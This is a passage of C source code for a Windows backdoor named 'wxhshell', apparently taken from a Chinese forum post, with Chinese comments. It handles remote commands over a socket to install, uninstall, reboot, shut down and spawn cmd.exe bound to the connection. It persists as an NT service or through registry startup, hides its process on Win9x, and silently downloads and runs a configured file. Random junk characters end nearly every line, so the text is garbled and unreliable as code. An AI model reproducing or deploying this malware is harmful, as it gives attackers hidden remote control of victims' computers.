  case '?': { @0@WklAJA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /R|?v{S1  
    break; |K. I%B  
  } xjp0w7L)J  
  // 安装 IfH/~EtX  
  case 'i': { W2<'b05  
    if(Install()) 'z9 1aNG]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oyiG04H&  
    else n{W(8K6d@[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,L%]}8EL"  
    break; M[985bl  
    } ~JRq :  
  // 卸载 ;Q t%>Uo8  
  case 'r': { |ghyH  
    if(Uninstall()) KEy8EB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :H>I`)bw  
    else I*3 >>VN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [#!Y7Ede  
    break; /sYr?b!/<6  
    } 8}BM`@MG  
  // 显示 wxhshell 所在路径 1#L%Q(G  
  case 'p': { P:Q&lnC  
    char svExeFile[MAX_PATH]; dOaOWMrfdf  
    strcpy(svExeFile,"\n\r"); [m! P(o  
      strcat(svExeFile,ExeFile); e>_a (  
        send(wsh,svExeFile,strlen(svExeFile),0); sC"w{_D@*4  
    break; 6# bTlmcg  
    } otaRA  
  // 重启 zZd.U\"2  
  case 'b': { _k}Qe ;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #bcZ:D@FC  
    if(Boot(REBOOT)) 0[H />%3O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {*;K>%r\o  
    else { P*[wB_^&UP  
    closesocket(wsh); E;H9]*x/  
    ExitThread(0); pa^_D~  
    } SDbkPx  
    break; C6gp}%  
    } Kf?:dF  
  // 关机 X6}W]  
  case 'd': { 8@doKOA~T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pcIS}+L  
    if(Boot(SHUTDOWN)) }x#e.}hf&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JS03B Itt  
    else { XlXt,  
    closesocket(wsh); pq_U?_5Z'r  
    ExitThread(0); t!xdKX& }  
    } W$7H "tg  
    break; oumbJ7X=L  
    } du0o4~-  
  // 获取shell ld"rL6  
  case 's': { Ne;0fk O  
    CmdShell(wsh); 8_wh9   
    closesocket(wsh); 1\{FKO t  
    ExitThread(0); AcJrJS)~  
    break; HS*Y%*  
  } .(8 V  
  // 退出 u)zv`m  
  case 'x': { 7m%12=Im5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VL5VYv=:  
    CloseIt(wsh); k&L/Jzz I  
    break; -G7)Y:  
    } KL!cPnAUu  
  // 离开 \HrtPm`e  
  case 'q': { cBbumf9C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r# oJch=  
    closesocket(wsh); iD cYyNE  
    WSACleanup(); "J*>g(H53  
    exit(1); Af@\g-<W_  
    break; @+nCNXK  
        } ]H{* Z3S  
  } O46v  
  } 0s Jp,4Vv  
_KtV`bF  
  // 提示信息 YvuE:ia  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V60"j(  
} [zq2h3r  
  } T#6g5Jnsp  
Kwm_Y5`A  
  return; X. Ur`X  
} LN.*gG l  
\N-3JOVy  
// shell模块句柄 F+NX [  
int CmdShell(SOCKET sock) U8gj\G\`  
{ 3mopTzs)  
STARTUPINFO si; R'vNJDFY  
ZeroMemory(&si,sizeof(si)); !?).4yr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [+l6x1Am  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j(k%w  
PROCESS_INFORMATION ProcessInfo; Jqgm>\y  
char cmdline[]="cmd"; 0;)Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); - q(a~Ge  
  return 0; k;JDVRL  
} -{C Gn5]_#  
_O Jfd  
// 自身启动模式 ,B_tAg4~  
int StartFromService(void) o~CEja &(  
{ T.')XKP)1N  
typedef struct !Ea9 fe  
{ +e.w]\}  
  DWORD ExitStatus; WrRY 3X  
  DWORD PebBaseAddress; BHU$QX  
  DWORD AffinityMask; /ece}7M  
  DWORD BasePriority; IG\Cj7{K^  
  ULONG UniqueProcessId; aO(iKlZ$  
  ULONG InheritedFromUniqueProcessId; t,r:= '  
}   PROCESS_BASIC_INFORMATION; z Fj|E  
8D@Jd  
PROCNTQSIP NtQueryInformationProcess; Sp?e!`|8  
/:{4,aX2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RL\?i~'KH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <}'=@a  
L<iRqayn  
  HANDLE             hProcess; 9c*B%A8J  
  PROCESS_BASIC_INFORMATION pbi; ")txFe  
9LBZMQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Dm}M8`|X  
  if(NULL == hInst ) return 0; zkqn>  
4W49*Je  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d-m.aP)y:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XpkOCo02  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .}Xf<G&  
'/X]96Ci7  
  if (!NtQueryInformationProcess) return 0; !J!&JQ|  
_emW#*V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h<>yzr3fN  
  if(!hProcess) return 0; 9;\mq'v%  
#639N9a~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dS <*DP  
d+5~^\lV  
  CloseHandle(hProcess); {,*vMQ<^  
3iX\):4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `$6~QLUf  
if(hProcess==NULL) return 0; o[WDPIG  
Z zp"CK 5  
HMODULE hMod; eV(9I v[  
char procName[255]; 0b n%L~KU  
unsigned long cbNeeded; GP %hf{  
|#SZd Xg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v@M^ukk'}  
/K1cP>oE  
  CloseHandle(hProcess); h7T),UL  
`F&~SU,  
if(strstr(procName,"services")) return 1; // 以服务启动 *TI?tD  
`]@=Hx(  
  return 0; // 注册表启动 6@8z3JW.A  
} U~"Y8g#qgy  
,=[% #gS  
// 主模块 FY^Nn  
int StartWxhshell(LPSTR lpCmdLine) |S |'o*u  
{ [Y@>,B!V  
  SOCKET wsl; I_->vC|>  
BOOL val=TRUE; Z0-?;jA@  
  int port=0; >}O}~$o  
  struct sockaddr_in door; v*dw'i  
:Y1;= W  
  if(wscfg.ws_autoins) Install(); '6>*J  
<LXx_{=:  
port=atoi(lpCmdLine); xh9$ZavB*  
>zL5*:G  
if(port<=0) port=wscfg.ws_port; m_Q&zp["  
_!, J iOI  
  WSADATA data; q-_!&kDK"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^->S7[N?  
"&4r!2A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #)]t4wa_W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ey4.Hj#T  
  door.sin_family = AF_INET; NIbK3`1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w7Y@wa!  
  door.sin_port = htons(port); 02*qf:kTnA  
'U`;4AN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w=rD8 @  
closesocket(wsl); u-4@[*^T$  
return 1; DC-d@N+  
} CAs:>s '8  
a\}MJ5]  
  if(listen(wsl,2) == INVALID_SOCKET) { xz5A[)N  
closesocket(wsl); zUv#%Q8vw  
return 1; 6},[HpXRc4  
} |m ?ZE:  
  Wxhshell(wsl); fHH  
  WSACleanup(); Rc1k_fZ}  
650qG$  
return 0; ?8GS*I  
HDZl;=  
} Iapz,nuE  
~eoM 2XlW  
// 以NT服务方式启动 09G47YkSy1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kV5)3%?  
{ p:Lmf8EI  
DWORD   status = 0; \#I$H9O  
  DWORD   specificError = 0xfffffff; |C<#M<  
) =29Hm"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rZaO^}u]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z f\~Cl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fC*cqc~{@  
  serviceStatus.dwWin32ExitCode     = 0; A0k?$ko  
  serviceStatus.dwServiceSpecificExitCode = 0; \y=oZk4  
  serviceStatus.dwCheckPoint       = 0; "z3rH~q72  
  serviceStatus.dwWaitHint       = 0; ,bd jk(  
&s(&B>M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uXh:/KO  
  if (hServiceStatusHandle==0) return; 3Ioe#*5\  
=uAy/S  
status = GetLastError(); wT::b V{  
  if (status!=NO_ERROR) GjHR.p?-  
{ q=BljSX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !@8i(!xb  
    serviceStatus.dwCheckPoint       = 0; x6s|al  
    serviceStatus.dwWaitHint       = 0; ozRTY9S _;  
    serviceStatus.dwWin32ExitCode     = status; 9N}\>L)_  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5Q"w{ n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {o)pwM"@(  
    return; ^9q#,6  
  } g;8 wP5i  
_J W|3q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; er)I".|  
  serviceStatus.dwCheckPoint       = 0; Xzf,S;XV~  
  serviceStatus.dwWaitHint       = 0; oYStf5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BU/A\4xQ,Y  
} V<I(M<Dj  
ty0P9.Q  
// 处理NT服务事件,比如:启动、停止 ;t\h"K<,|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }A24;'}  
{ M] /aW  
switch(fdwControl) X4!7/&  
{ Rxd4{L )n  
case SERVICE_CONTROL_STOP: )&7. E  
  serviceStatus.dwWin32ExitCode = 0; ^Q$OzsEk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #T^2=7 w  
  serviceStatus.dwCheckPoint   = 0; y-1e(:GF  
  serviceStatus.dwWaitHint     = 0; *<($.c  
  { D @*<O=_D(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f;zNNx< ;  
  } m3lz#Pm'0  
  return; .=#j dc/  
case SERVICE_CONTROL_PAUSE: CG=c@-"n/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K\F0nToJ.  
  break; L4g%o9G  
case SERVICE_CONTROL_CONTINUE: ][MtG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L#UR>Z#9  
  break; +ZOiL[rS  
case SERVICE_CONTROL_INTERROGATE: EaO@I.[  
  break; w#9Kt W,tt  
}; =L" 0]4K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PFh ^Z L  
} /^BC Qaj  
f`uRC-B/  
// 标准应用程序主函数 2(xC|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E s5: S#  
{ 'Be'!9K*d  
`)n4I:)2  
// 获取操作系统版本 Pj-INc96  
OsIsNt=GetOsVer(); != ,4tg`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m,E$KHt (  
;Y`Y1  
  // 从命令行安装 Fr8GGN~/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5XZ! yYB?  
e /JQ #A  
  // 下载执行文件 Z nc(Q  
if(wscfg.ws_downexe) { eyJ07  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GlAI~\A  
  WinExec(wscfg.ws_filenam,SW_HIDE); p?:5 U[KM  
} 5:h[%3'bB  
cqNK`3:.j  
if(!OsIsNt) { ?0VR2Yb${b  
// 如果时win9x,隐藏进程并且设置为注册表启动 my.EvN  
HideProc(); C|$q Vh>  
StartWxhshell(lpCmdLine); 6gg8 h>b  
} $E\|\g  
else d!y*z  
  if(StartFromService()) <=q} Nd\  
  // 以服务方式启动 ' [ 4;QYw  
  StartServiceCtrlDispatcher(DispatchTable); G21o @38e  
else yp.K-  
  // 普通方式启动 `Z?wj@H1`  
  StartWxhshell(lpCmdLine); ;<AcW.jx  
EiW|+@1  
return 0; /fr>Fd  
}
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只看该作者 1 发表于: 2006-10-10
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